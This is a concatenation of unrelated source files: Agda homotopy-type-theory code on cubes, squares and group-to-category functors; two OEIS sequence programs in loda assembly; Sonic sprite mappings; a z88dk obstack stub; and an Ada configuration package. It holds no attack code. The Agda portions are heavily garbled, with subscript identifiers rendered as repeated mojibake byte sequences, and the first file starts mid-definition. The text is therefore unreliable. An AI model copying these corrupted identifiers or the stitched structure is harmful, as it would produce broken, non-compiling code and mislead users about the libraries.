โ Cube sqโโโ sqโโโ sqโโ sqโโ sqโโ sqโโ
idp -โยณ idc = idc
_-|โยณ_ : โ {i} {A : Type i} โ {aโโโ aโโโ : A}
{a b pโโโ pโโโ : aโโโ == aโโโ}
{p : a == b} {q : a == pโโโ} {r : b == pโโโ}
{sqโโโ : pโโโ == pโโโ} -- left
(ฮฑ : Square p q r sqโโโ)
{aโโโ : A} {pโโโ : aโโโ == aโโโ}
{aโโโ : A} {pโโโ : aโโโ == aโโโ}
{aโโโ : A} {pโโโ : aโโโ == aโโโ}
{aโโโ : A} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ}
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- back
{pโโโ : aโโโ == aโโโ}
{sqโโโ : Square idp pโโโ pโโโ pโโโ} -- top
{pโโโ : aโโโ == aโโโ}
{sqโโโ : Square idp pโโโ pโโโ pโโโ} -- bottom
{pโโโ : aโโโ == aโโโ}
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- front
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- right
โ Cube (horiz-degen-square sqโโโ) sqโโโ sqโโโ sqโโโ sqโโโ sqโโโ
โ Cube (horiz-degen-square p) sqโโโ (q |โ sqโโโ ) sqโโโ sqโโโ (r |โ sqโโโ)
ids -|โยณ idc = idc
infixr 80 _-|โยณ_
adapt-cube : โ {i} {A : Type i} {aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ : A}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- left
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- right
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- back
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- top
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- bottom
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- front
(cube : Cube sqโโโ sqโโโ sqโโโ sqโโโ sqโโโ sqโโโ )
{pโโโ' : aโโโ == aโโโ} (pโโโ= : pโโโ == pโโโ') {pโโโ' : aโโโ == aโโโ} (pโโโ= : pโโโ == pโโโ')
{pโโโ' : aโโโ == aโโโ} (pโโโ= : pโโโ == pโโโ') {pโโโ' : aโโโ == aโโโ} (pโโโ= : pโโโ == pโโโ')
{sqโโโ' : Square pโโโ pโโโ' pโโโ' pโโโ} (sqโโโ= : adapt-square sqโโโ pโโโ= pโโโ= == sqโโโ') -- back
{sqโโโ' : Square pโโโ pโโโ' pโโโ' pโโโ} (sqโโโ= : adapt-square sqโโโ pโโโ= pโโโ= == sqโโโ') -- top
{sqโโโ' : Square pโโโ pโโโ' pโโโ' pโโโ} (sqโโโ= : adapt-square sqโโโ pโโโ= pโโโ= == sqโโโ') -- bottom
{sqโโโ' : Square pโโโ pโโโ' pโโโ' pโโโ} (sqโโโ= : adapt-square sqโโโ pโโโ= pโโโ= == sqโโโ') -- front
โ Cube sqโโโ sqโโโ sqโโโ' sqโโโ' sqโโโ' sqโโโ'
adapt-cube idc idp idp idp idp idp idp idp idp = idc
adapt-cube-idp : โ {i} {A : Type i} {aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ : A}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- left
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- right
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- back
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- top
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- bottom
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- front
(cube : Cube sqโโโ sqโโโ sqโโโ sqโโโ sqโโโ sqโโโ )
{sqโโโ' : Square pโโโ pโโโ pโโโ pโโโ} (sqโโโ= : sqโโโ == sqโโโ') -- back
{sqโโโ' : Square pโโโ pโโโ pโโโ pโโโ} (sqโโโ= : sqโโโ == sqโโโ') -- top
{sqโโโ' : Square pโโโ pโโโ pโโโ pโโโ} (sqโโโ= : sqโโโ == sqโโโ') -- bottom
{sqโโโ' : Square pโโโ pโโโ pโโโ pโโโ} (sqโโโ= : sqโโโ == sqโโโ') -- front
โ Cube sqโโโ sqโโโ sqโโโ' sqโโโ' sqโโโ' sqโโโ'
adapt-cube-idp idc idp idp idp idp = idc
{- A SquareOver between paths can be represented as a cube -}
module _ {i j} {A : Type i} {B : Type j} {f g : A โ B}
where
cube-to-โ-square : {a : A} {a= : f a == g a}
{b : A} {p : a == b} {c : A} {q : a == c} {d : A} {r : b == d} {s : c == d}
{sq : Square p q r s}
{fp : _} {fp= : ap f p == fp}
{fq : _} {fq= : ap f q == fq}
{fr : _} {fr= : ap f r == fr}
{fs : _} {fs= : ap f s == fs}
{b= : f b == g b}
(p= : Square fp a= b= (ap g p))
{c= : f c == g c}
{q= : Square fq a= c= (ap g q)}
{qโก : PathOver (ฮป z โ f z == g z) q a= c=}
(qโก= : qโก == โ-='-from-square fq= idp (square-symmetry q=))
{d= : f d == g d}
{r= : Square b= fr (ap g r) d=}
{rโก : PathOver (ฮป z โ f z == g z) r b= d=}
(rโก= : rโก == โ-='-from-square fr= idp r=)
(s= : Square fs c= d= (ap g s))
โ Cube (ap-square f sq) (ap-square g sq) (fp= |โ p=) (fq= |โ q=) (fr= |โ square-symmetry r=) (fs= |โ s=)
โ SquareOver (ฮป z โ f z == g z) sq (โ-='-from-square fp= idp (square-symmetry p=))
qโก
rโก
(โ-='-from-square fs= idp (square-symmetry s=))
cube-to-โ-square {sq = ids} {fp= = idp} {fq= = idp} {fr= = idp} {fs= = idp} p= idp idp s= cube = & coh cube (& coh2) where
coh : Coh ({A : Type j} {x y : A} {a= b= : x == y} {p= : Square idp a= b= idp} {c= : x == y} {q= : Square idp a= c= idp} {d= : x == y} {r= : Square b= idp idp d=} {s=' : Square idp c= d= idp}
โ Cube ids ids (idp |โ p=) (idp |โ q=) (idp |โ square-symmetry r=) s='
โ {s= : Square idp c= d= idp} (s== : s= == s=')
โ Square (horiz-degen-path (square-symmetry p=))
(horiz-degen-path (square-symmetry q=))
(horiz-degen-path r=)
(horiz-degen-path (square-symmetry s=)))
coh = path-induction
coh2 : Coh ({A : Type j} {a b c d : A} {p : a == b} {q : a == c} {r : b == d} {s : c == d} {sq : Square p q r s} โ sq == idp |โ sq)
coh2 = path-induction
x-degen-cube-in : โ {i} โ Coh ({A : Type i} {a b c d : A}
{p : a == b} {q : a == c}
{r : b == d} {s : c == d}
{sq sq' : Square p q r s}
โ sq == sq'
โ Cube sq sq' hid-square hid-square hid-square hid-square)
x-degen-cube-in = path-induction
x-degen-cube-out : โ {i} โ Coh ({A : Type i} {a b c d : A}
{p : a == b} {q : a == c}
{r : b == d} {s : c == d}
{sq sq' : Square p q r s}
โ Cube sq sq' hid-square hid-square hid-square hid-square
โ sq == sq')
x-degen-cube-out = path-induction
{- A pathover between squares can be represented as a cube -}
module _ {i j} {A : Type i} {B : Type j} {bโโ bโโ bโโ bโโ : A โ B}
{pโโ : (a : A) โ bโโ a == bโโ a} {pโโ : (a : A) โ bโโ a == bโโ a}
{pโโ : (a : A) โ bโโ a == bโโ a} {pโโ : (a : A) โ bโโ a == bโโ a}
where
cube-to-โ-path : {x y : A} {q : x == y}
{sqx : Square (pโโ x) (pโโ x) (pโโ x) (pโโ x)}
{sqy : Square (pโโ y) (pโโ y) (pโโ y) (pโโ y)}
{bโโq : bโโ x == bโโ y} (bโโq= : ap bโโ q == bโโq)
{bโโq : bโโ x == bโโ y} (bโโq= : ap bโโ q == bโโq)
{bโโq : bโโ x == bโโ y} (bโโq= : ap bโโ q == bโโq)
{bโโq : bโโ x == bโโ y} (bโโq= : ap bโโ q == bโโq)
โ Cube sqx sqy
(natural-square pโโ q bโโq= bโโq=) (natural-square pโโ q bโโq= bโโq=)
(natural-square pโโ q bโโq= bโโq=) (natural-square pโโ q bโโq= bโโq=)
โ sqx == sqy [ (ฮป z โ Square (pโโ z) (pโโ z) (pโโ z) (pโโ z)) โ q ]
cube-to-โ-path {q = idp} idp idp idp idp cu = & x-degen-cube-out cu
_|โยณ_ : โ {i} {A : Type i}
{aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ : A}
{pโโโ pโโโ' : aโโโ == aโโโ} {pโโโ pโโโ' : aโโโ == aโโโ}
{pโโโ pโโโ' : aโโโ == aโโโ} {pโโโ pโโโ' : aโโโ == aโโโ}
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- left
{pโโโ= : pโโโ == pโโโ'} {pโโโ= : pโโโ == pโโโ'}
{pโโโ= : pโโโ == pโโโ'} {pโโโ= : pโโโ == pโโโ'}
{sqโโโ' : Square pโโโ' pโโโ' pโโโ' pโโโ'} -- middle
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- right
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{sqโโโ : Square pโโโ' pโโโ pโโโ pโโโ} -- back
{sqโโโ : Square pโโโ' pโโโ pโโโ pโโโ} -- top
{sqโโโ : Square pโโโ' pโโโ pโโโ pโโโ} -- bottom
{sqโโโ : Square pโโโ' pโโโ pโโโ pโโโ} -- front
โ FlatCube sqโโโ sqโโโ' pโโโ= pโโโ= pโโโ= pโโโ=
โ Cube sqโโโ' sqโโโ sqโโโ sqโโโ sqโโโ sqโโโ
โ Cube sqโโโ sqโโโ (pโโโ= |โ sqโโโ) (pโโโ= |โ sqโโโ) (pโโโ= |โ sqโโโ) (pโโโ= |โ sqโโโ)
idfc |โยณ idc = idc
_/โยณ_ : โ {i} {A : Type i} {a b c d : A} {p p' : a == b} {q q' : a == c} {r r' : b == d} {s s' : c == d}
{sq sq2 : Square p q r s} (sq= : sq == sq2)
{sq' : Square p' q' r' s'} {p= : p == p'} {q= : q == q'} {r= : r == r'} {s= : s == s'}
โ FlatCube sq2 sq' p= q= r= s=
โ FlatCube sq sq' p= q= r= s=
idp /โยณ idfc = idfc
_โยณ/_ : โ {i} {A : Type i} {a b c d : A} {p p' : a == b} {q q' : a == c} {r r' : b == d} {s s' : c == d}
{sq : Square p q r s}
{sq' : Square p' q' r' s'} {p= : p == p'} {q= : q == q'} {r= : r == r'} {s= : s == s'}
โ FlatCube sq sq' p= q= r= s=
โ {sq'2 : Square p' q' r' s'} โ sq' == sq'2
โ FlatCube sq sq'2 p= q= r= s=
idfc โยณ/ idp = idfc
_โfc_ : โ {i} {A : Type i} {a b c d : A} {p p' p'' : a == b} {q q' q'' : a == c} {r r' r'' : b == d} {s s' s'' : c == d}
{sq : Square p q r s} {sq' : Square p' q' r' s'} {sq'' : Square p'' q'' r'' s''}
{p= : p == p'} {q= : q == q'} {r= : r == r'} {s= : s == s'}
{p=' : p' == p''} {q=' : q' == q''} {r=' : r' == r''} {s=' : s' == s''}
โ FlatCube sq sq' p= q= r= s=
โ FlatCube sq' sq'' p=' q=' r=' s='
โ FlatCube sq sq'' (p= โ p=') (q= โ q=') (r= โ r=') (s= โ s=')
idfc โfc idfc = idfc
infixr 80 _|โยณ_ _-โยณ_ _/โยณ_ _โfc_ _โยณ/_
adapt-flatcube : โ {i} {A : Type i} {a b c d : A} {p p' : a == b} {q q' : a == c} {r r' : b == d} {s s' : c == d}
{p= p=' : p == p'} (p== : p= == p=')
{q= q=' : q == q'} (q== : q= == q=')
{r= r=' : r == r'} (r== : r= == r=')
{s= s=' : s == s'} (s== : s= == s=')
{sq : Square p q r s} {sq' : Square p' q' r' s'}
โ FlatCube sq sq' p= q= r= s=
โ FlatCube sq sq' p=' q=' r=' s='
adapt-flatcube idp idp idp idp idfc = idfc
!ยฒ : โ {i} {A : Type i} {a b c d : A} {p : a == b} {q : a == c} {r : b == d} {s : c == d}
โ Square p q r s โ Square s (! q) (! r) p
!ยฒ ids = ids
!ยณ : โ {i} {A : Type i}
{aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ : A}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- left
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- right
{pโโ : aโโโ == aโโโ} {pโโ : aโโโ == aโโโ}
{pโโ : aโโโ == aโโโ} {pโโ : aโโโ == aโโโ}
{sqโโ : Square pโโโ pโโ pโโ pโโโ} -- back
{sqโโ : Square pโโโ pโโ pโโ pโโโ} -- top
{sqโโ : Square pโโโ pโโ pโโ pโโโ} -- bottom
{sqโโ : Square pโโโ pโโ pโโ pโโโ} -- front
โ Cube sqโโโ sqโโโ sqโโ sqโโ sqโโ sqโโ
โ Cube sqโโโ sqโโโ (!ยฒ sqโโ) (!ยฒ sqโโ) (!ยฒ sqโโ) (!ยฒ sqโโ)
!ยณ idc = idc
natural-square-homotopy : โ {i j} {A : Type i} {B : Type j} {a : A}
โ Coh ({u v : A โ B} {f g : (x : A) โ u x == v x} (h : (x : A) โ f x == g x)
{b : A} (p : a == b)
{up : u a == u b} {up= : ap u p == up}
{vp : v a == v b} {vp= : ap v p == vp}
โ FlatCube (natural-square f p up= vp=) (natural-square g p up= vp=) (h a) idp idp (h b))
natural-square-homotopy = path-induction
natural-cube2 : โ {i j} {A : Type i} {B : Type j} {a : A} โ
Coh ({f g : A โ B} (h : (a : A) โ f a == g a) {b : A} {p : a == b} {c : A} {q : a == c} {d : A} {r : b == d}
{s : c == d} (sq : Square p q r s)
{fp : f a == f b} {fp= : ap f p == fp} {gp : g a == g b} {gp= : ap g p == gp}
{fq : f a == f c} {fq= : ap f q == fq} {gq : g a == g c} {gq= : ap g q == gq}
{fr : f b == f d} {fr= : ap f r == fr} {gr : g b == g d} {gr= : ap g r == gr}
{fs : f c == f d} {fs= : ap f s == fs} {gs : g c == g d} {gs= : ap g s == gs}
{fsq : Square fp fq fr fs} (fsq= : FlatCube (ap-square f sq) fsq fp= fq= fr= fs=)
{gsq : Square gp gq gr gs} (gsq= : FlatCube (ap-square g sq) gsq gp= gq= gr= gs=)
โ Cube (natural-square h p fp= gp=) (natural-square h s fs= gs=) (natural-square h q fq= gq=) fsq gsq (natural-square h r fr= gr=))
natural-cube2 = path-induction
ap-square-idf : โ {i} {A : Type i} {a b c d : A} {p : a == b} {q : a == c} {r : b == d} {s : c == d}
(sq : Square p q r s)
โ FlatCube (ap-square (ฮป z โ z) sq) sq (ap-idf p) (ap-idf q) (ap-idf r) (ap-idf s)
ap-square-idf ids = idfc
hid-flatcube : โ {i} {A : Type i} {a b c d : A} {p : a == b} {q : a == c} {r : b == d} {s : c == d} (sq : Square p q r s)
โ FlatCube sq sq idp idp idp idp
hid-flatcube ids = idfc
module _ {i j} {A : Type i} {B : Type j} where
natural-square= : Coh ({f g : A โ B} (h : (a : A) โ f a == g a)
{x y : A} {p p' : x == y} (p= : p == p')
โ {fp : f x == f y} {fp= : ap f p == fp} {fp' : f x == f y} {fp=' : ap f p' == fp'}
โ {gp : g x == g y} {gp= : ap g p == gp} {gp' : g x == g y} {gp=' : ap g p' == gp'}
โ {fp=fp' : fp == fp'} (fp=fp'= : Square (ap (ap f) p=) fp= fp=' fp=fp')
โ {gp=gp' : gp == gp'} (gp=gp'= : Square (ap (ap g) p=) gp= gp=' gp=gp')
โ FlatCube (natural-square h p fp= gp=) (natural-square h p' fp=' gp=') idp fp=fp' gp=gp' idp)
natural-square= = path-induction
-- More or less a special case of the previous one
natural-square== : Coh ({f g : A โ B} (h : (a : A) โ f a == g a)
{x y : A} (p : x == y)
โ {fp : f x == f y} {fp= : ap f p == fp} {fp' : f x == f y} {fp=' : ap f p == fp'}
โ {gp : g x == g y} {gp= : ap g p == gp} {gp' : g x == g y} {gp=' : ap g p == gp'}
โ {fpp' : fp == fp'} (fpp'= : ! fp= โ fp=' == fpp')
โ {gpp' : gp == gp'} (gpp'= : ! gp= โ gp=' == gpp')
โ FlatCube (natural-square h p fp= gp=) (natural-square h p fp=' gp=') idp fpp' gpp' idp)
natural-square== = path-induction
โ-ap-square : โ {i j k} {A : Type i} {B : Type j} {C : Type k} (g : B โ C) (f : A โ B)
{a b c d : A} {p : a == b} {q : a == c} {r : b == d} {s : c == d} (sq : Square p q r s)
โ FlatCube (ap-square g (ap-square f sq)) (ap-square (g โ f) sq) (โ-ap g f p) (โ-ap g f q) (โ-ap g f r) (โ-ap g f s)
โ-ap-square g f ids = idfc
ap-square-โ : โ {i j k} {A : Type i} {B : Type j} {C : Type k} (g : B โ C) (f : A โ B)
{a b c d : A} {p : a == b} {q : a == c} {r : b == d} {s : c == d} (sq : Square p q r s)
โ FlatCube (ap-square (g โ f) sq) (ap-square g (ap-square f sq)) (ap-โ g f p) (ap-โ g f q) (ap-โ g f r) (ap-โ g f s)
ap-square-โ g f ids = idfc
-- Similar to [ap-square-natural-square]
natural-square-ap : โ {i j k} {A : Type i} {B : Type j} {C : Type k} (f : B โ C) โ
Coh ({a b : A} (p : a == b) {u v : A โ B} (g : (x : A) โ u x == v x)
{fup : _} {fup= : ap (f โ u) p == fup}
{fvp : _} {fvp= : ap (f โ v) p == fvp}
{up : _} {up= : ap u p == up}
{vp : _} {vp= : ap v p == vp}
{apfup : ap f up == fup} (apfup= : Square (โ-ap f u p) (ap (ap f) up=) fup= apfup)
{apfvp : ap f vp == fvp} (apfvp= : Square (โ-ap f v p) (ap (ap f) vp=) fvp= apfvp)
โ natural-square (ap f โ g) p fup= fvp= == adapt-square (ap-square f (natural-square g p up= vp=)) apfup apfvp)
natural-square-ap f = path-induction
cube-rotate : โ {i} {A : Type i}
{aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ aโโโ : A}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- left
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- right
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{pโโโ : aโโโ == aโโโ} {pโโโ : aโโโ == aโโโ}
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- back
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- top
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- bottom
{sqโโโ : Square pโโโ pโโโ pโโโ pโโโ} -- front
โ Cube sqโโโ sqโโโ sqโโโ sqโโโ sqโโโ sqโโโ
โ Cube sqโโโ sqโโโ sqโโโ (square-symmetry sqโโโ) (square-symmetry sqโโโ) sqโโโ
cube-rotate idc = idc
horiz-degen-path-hid-square : โ {i} โ Coh ({A : Type i} {x y : A} {p : x == y} โ idp == horiz-degen-path (horiz-degen-square (idp {a = p})))
horiz-degen-path-hid-square = path-induction
module _ {i j k} {A : Type i} {B : Type j} {C : Type k} {g h : B โ C} (f : A โ B) where
โ-ap-in-=' : {x y : A} {p : x == y} (k : (x : A) โ g (f x) == h (f x))
{gfp : g (f x) == g (f y)} {gfp= : ap g (ap f p) == gfp}
โ โ-ap-in (ฮป z โ g z == h z) f (apd k p) == โ-='-from-square gfp= idp (natural-square k p (ap-โ g f p โ gfp=) (ap-โ h f p))
โ-ap-in-=' {p = idp} k {gfp= = idp} = & horiz-degen-path-hid-square
module _ {i j} {A : Type i} {a : A} where
instance
JCubehorizdegensquare : {B : (p : idp {a = a} == idp) โ Cube ids (horiz-degen-square p) ids ids ids ids โ Type j}
โ Coh (B idp idc) โ Coh ({p : idp == idp} (cube : Cube ids (horiz-degen-square p) ids ids ids ids) โ B p cube)
& (JCubehorizdegensquare {B} d) cube = B= (! horiz-degen-square-ฮท) (! horiz-degen-square-ฮฒ) horiz-degen-square-โ cube (& (JCube2 {B = B'} d) cube) where
B' : (p : Square {aโโ = a} idp idp idp idp) โ Cube ids p ids ids ids ids โ Type j
B' p c = B (horiz-degen-path p) (c โยณx & x-degen-cube-in (! horiz-degen-square-ฮฒ))
horiz-degen-square-โ : โ {i} {A : Type i} {a a' : A} {p q : a == a'} {r : p == q} โ ap horiz-degen-square (! (horiz-degen-square-ฮท {r = r})) == ! horiz-degen-square-ฮฒ
horiz-degen-square-โ {p = idp} {r = idp} = idp
B= : {p' p : idp == idp} (p= : p == p') (p=' : horiz-degen-square p == horiz-degen-square p') (p== : ap horiz-degen-square p= == p=')
(c : Cube ids (horiz-degen-square p) ids ids ids ids)
โ B p' (c โยณx & x-degen-cube-in p=') โ B p c
B= idp _ idp c = transport (B _) (& eq c) where
eq : Coh ({sq : Square (idp {a = a}) idp idp idp} (c : Cube ids sq ids ids ids ids) โ c โยณx & x-degen-cube-in idp == c)
eq = path-induction
|
programs/oeis/147/A147992.asm | neoneye/loda | 22 | 22252 | ; A147992: Sequence S such that 1 is in S and if x is in S, then 4x-1 and 4x+1 are in S.
; 1,3,5,11,13,19,21,43,45,51,53,75,77,83,85,171,173,179,181,203,205,211,213,299,301,307,309,331,333,339,341,683,685,691,693,715,717,723,725,811,813,819,821,843,845,851,853,1195,1197,1203,1205,1227,1229,1235,1237,1323,1325,1331,1333,1355,1357,1363,1365,2731,2733,2739,2741,2763,2765,2771,2773,2859,2861,2867,2869,2891,2893,2899,2901,3243,3245,3251,3253,3275,3277,3283,3285,3371,3373,3379,3381,3403,3405,3411,3413,4779,4781,4787,4789,4811
lpb $0
mov $2,$0
sub $2,1
mov $0,$2
max $2,0
seq $2,115716 ; A divide-and-conquer sequence.
add $1,$2
lpe
mul $1,2
add $1,1
mov $0,$1
|
_maps/obj38.asm | NatsumiFox/AMPS-Sonic-1-2005 | 2 | 24265 | <reponame>NatsumiFox/AMPS-Sonic-1-2005<filename>_maps/obj38.asm
; ---------------------------------------------------------------------------
; Sprite mappings - shield and invincibility stars
; ---------------------------------------------------------------------------
dc.w byte_143CD-Map_obj38, byte_143C2-Map_obj38
dc.w byte_143D7-Map_obj38, byte_143EC-Map_obj38
dc.w byte_14401-Map_obj38, byte_14416-Map_obj38
dc.w byte_1442B-Map_obj38, byte_14440-Map_obj38
byte_143C2: dc.b 4
dc.b $E8, $A, 0, 0, $E8
dc.b $E8, $A, 0, 9, 0
byte_143CD: dc.b 0, $A, $10, 0, $E8
dc.b 0, $A, $10, 9, 0
byte_143D7: dc.b 4
dc.b $E8, $A, 8, $12, $E9
dc.b $E8, $A, 0, $12, 0
dc.b 0, $A, $18, $12, $E9
dc.b 0, $A, $10, $12, 0
byte_143EC: dc.b 4
dc.b $E8, $A, 8, 9, $E8
dc.b $E8, $A, 8, 0, 0
dc.b 0, $A, $18, 9, $E8
dc.b 0, $A, $18, 0, 0
byte_14401: dc.b 4
dc.b $E8, $A, 0, 0, $E8
dc.b $E8, $A, 0, 9, 0
dc.b 0, $A, $18, 9, $E8
dc.b 0, $A, $18, 0, 0
byte_14416: dc.b 4
dc.b $E8, $A, 8, 9, $E8
dc.b $E8, $A, 8, 0, 0
dc.b 0, $A, $10, 0, $E8
dc.b 0, $A, $10, 9, 0
byte_1442B: dc.b 4
dc.b $E8, $A, 0, $12, $E8
dc.b $E8, $A, 0, $1B, 0
dc.b 0, $A, $18, $1B, $E8
dc.b 0, $A, $18, $12, 0
byte_14440: dc.b 4
dc.b $E8, $A, 8, $1B, $E8
dc.b $E8, $A, 8, $12, 0
dc.b 0, $A, $10, $12, $E8
dc.b 0, $A, $10, $1B, 0
even |
core/lib/two-semi-categories/GroupToCategory.agda | AntoineAllioux/HoTT-Agda | 294 | 15779 | <filename>core/lib/two-semi-categories/GroupToCategory.agda
{-# OPTIONS --without-K --rewriting #-}
open import lib.Basics
open import lib.types.Group
open import lib.groups.Homomorphism
open import lib.types.TwoSemiCategory
open import lib.two-semi-categories.Functor
module lib.two-semi-categories.GroupToCategory where
group-to-cat : โ {i} โ Group i โ TwoSemiCategory lzero i
group-to-cat G =
record
{ El = โค
; Arr = ฮป _ _ โ G.El
; Arr-level = ฮป _ _ โ raise-level 0 G.El-level
; two-semi-cat-struct =
record
{ comp = G.comp
; assoc = G.assoc
; pentagon-identity = ฮป _ _ _ _ โ =โ-in (prop-path (has-level-apply G.El-level _ _) _ _)
}
}
where
module G = Group G
homomorphism-to-functor : โ {i j} {G : Group i} {H : Group j}
โ G โแดณ H
โ TwoSemiFunctor (group-to-cat G) (group-to-cat H)
homomorphism-to-functor {G = G} {H = H} ฯ =
record
{ Fโ = idf โค
; Fโ = ฯ.f
; pres-comp = ฯ.pres-comp
; pres-comp-coh = ฮป _ _ _ โ =โ-in $ prop-path (has-level-apply H.El-level _ _) _ _
}
where
module G = Group G
module H = Group H
module ฯ = GroupHom ฯ
|
oeis/168/A168067.asm | neoneye/loda-programs | 11 | 18484 | ; A168067: n*(n^7+1)/2.
; 0,1,129,3282,32770,195315,839811,2882404,8388612,21523365,50000005,107179446,214990854,407865367,737894535,1281445320,2147483656,3487878729,5509980297,8491781530,12800000010,18911429691,27437936779,39155492652,55037657100,76293945325,104413532301,141214768254,188900999182,250123206495,328050000015,426445518736,549755813904,703204309137,892896952465,1125937695330,1410554953746,1756239726979,2173896069267,2676004630260,3276800000020,3992462614581,4841325998229,5844100138822,7024111812630
mov $1,$0
pow $0,8
add $0,$1
div $0,2
|
libsrc/_DEVELOPMENT/alloc/obstack/c/sccz80/obstack_grow_callee.asm | meesokim/z88dk | 0 | 173793 |
; ===============================================================
; Dec 2013
; ===============================================================
;
; int obstack_grow(struct obstack *ob, void *data, size_t size)
;
; Grow the current object by appending size bytes read from
; address data.
;
; ===============================================================
SECTION code_alloc_obstack
PUBLIC obstack_grow_callee
obstack_grow_callee:
pop hl
pop bc
pop de
ex (sp),hl
INCLUDE "alloc/obstack/z80/asm_obstack_grow.asm"
|
programs/oeis/096/A096472.asm | karttu/loda | 1 | 173912 | ; A096472: Numbers containing Pythagorean triples in their divisor set.
; 3600,7200,10800,14400,18000,21600,25200,28800,32400,36000,39600,43200,46800,50400,54000,57600,61200,64800,68400,72000,75600,79200,82800,86400,90000,93600,97200,100800,104400,108000,111600,115200,118800
mov $1,$0
mul $1,3600
add $1,3600
|
oeis/304/A304383.asm | neoneye/loda-programs | 11 | 24034 | ; A304383: a(n) = 36*2^n - 5 (n>=1).
; 67,139,283,571,1147,2299,4603,9211,18427,36859,73723,147451,294907,589819,1179643,2359291,4718587,9437179,18874363,37748731,75497467,150994939,301989883,603979771,1207959547,2415919099,4831838203,9663676411,19327352827,38654705659,77309411323,154618822651,309237645307,618475290619,1236950581243,2473901162491,4947802324987,9895604649979,19791209299963,39582418599931,79164837199867,158329674399739,316659348799483,633318697598971,1266637395197947,2533274790395899,5066549580791803,10133099161583611
mov $1,2
pow $1,$0
sub $1,1
mul $1,72
add $1,67
mov $0,$1
|
src/asf-applications.adb | Letractively/ada-asf | 0 | 29466 | <gh_stars>0
-----------------------------------------------------------------------
-- applications -- Ada Web Application
-- Copyright (C) 2009, 2010, 2013 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Util.Properties.Basic;
package body ASF.Applications is
-- ------------------------------
-- Get the configuration parameter;
-- ------------------------------
function Get (Self : Config;
Param : Config_Param) return String is
begin
return Self.Get (Param.Name.all, Param.Default.all);
end Get;
-- ------------------------------
-- Get the configuration parameter;
-- ------------------------------
function Get (Self : Config;
Param : Config_Param) return Boolean is
use Util.Properties.Basic.Boolean_Property;
begin
return Get (Self, Param.Name.all, Boolean'Value (Param.Default.all));
end Get;
-- ------------------------------
-- Create the configuration parameter definition instance.
-- ------------------------------
package body Parameter is
Param : constant Config_Param := ASF.Applications.P '(Name => PARAM_NAME'Access,
Default => PARAM_VALUE'Access);
-- ------------------------------
-- Returns the configuration parameter.
-- ------------------------------
function P return Config_Param is
begin
return Param;
end P;
end Parameter;
end ASF.Applications;
